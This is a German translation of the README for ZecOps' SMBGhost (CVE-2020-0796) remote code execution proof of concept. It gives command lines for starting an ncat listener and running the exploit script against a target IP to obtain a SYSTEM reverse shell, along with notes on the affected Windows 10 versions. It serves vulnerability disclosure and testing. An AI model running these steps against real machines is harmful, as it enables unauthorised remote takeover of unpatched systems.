
CVE-2020-0796 Remotecodeausführung PoC
(c) 2020 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes
Remote Code Execution POC für CVE-2020-0796 / "SMBGhost"
Erwartetes Ergebnis: Reverse-Shell mit Systemzugriff.
Nur für Bildungszwecke und Tests in Unternehmensumgebungen bestimmt.
ZecOps übernimmt keine Verantwortung für den Code, Verwendung auf eigene Gefahr.
Bitte kontaktieren Sie [email protected], wenn Sie an agentenlosen DFIR-Tools für Server, Endpunkte und mobile Geräte interessiert sind, um SMBGhost und andere Angriffsarten automatisch zu erkennen.
Stellen Sie sicher, dass Python und ncat installiert sind.
Führen Sie calc_target_offsets.bat auf dem Zielcomputer aus und passen Sie die Offsets am Anfang der Datei SMBleedingGhost.py entsprechend der Skriptausgabe an (siehe auch Hinweis unten).
Starten Sie ncat mit den folgenden Befehlszeilenargumenten:
ncat -lvp <port>
Wobei <port> die Portnummer ist, auf der ncat lauscht.
Führen Sie SMBleedingGhost.py mit den folgenden Befehlszeilenargumenten aus:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
Wobei <target_ip> die IP-Adresse des anfälligen Zielcomputers ist. <reverse_shell_ip> und <reverse_shell_port> sind die IP-Adresse und die Portnummer, auf der ncat lauscht.
Wenn alles gut geht, zeigt ncat eine Shell an, die Systemzugriff auf den Zielcomputer bietet.
Hinweis: Sie fragen sich vielleicht, warum es notwendig ist, das Skript calc_target_offsets.bat auf dem Zielcomputer auszuführen, und ob das nicht den ganzen Sinn der Remote Code Execution, nämlich remote zu sein, zunichte macht. Diese Offsets sind nicht zufällig und sind auf allen Windows-Instanzen derselben Windows-Version gleich. Man könnte den Angriff universeller machen, indem man die Ziel-Windows-Version erkennt und die Offsets automatisch anpasst, oder indem man ganz darauf verzichtet, aber es ist nur ein POC und wir haben das gemacht, was einfacher war. Wir sehen es auch als gute Sache an, dass der POC nicht universell und für andere Zwecke als Tests und Bildung nicht praktisch ist.

Windows 10 Versionen 1903 und 1909 sind betroffen. Nicht gepatchte Windows 10 1903 Versionen werden aufgrund eines Null-Dereferenzierungsfehlers in Windows (behoben in KB4512941) nicht unterstützt.
Aufgrund der Art der Ausnutzung funktioniert der POC am besten für Ziele, die auf einem Computer (oder einer VM) mit einem einzelnen logischen Prozessor laufen. Ziele mit mehr als einem logischen Prozessor, die in VirtualBox laufen, sollten ebenfalls unterstützt werden, aber der POC ist in diesem Fall weniger zuverlässig. Andere Ziele werden möglicherweise nicht unterstützt. Details entnehmen Sie bitte unserem technischen Bericht unten.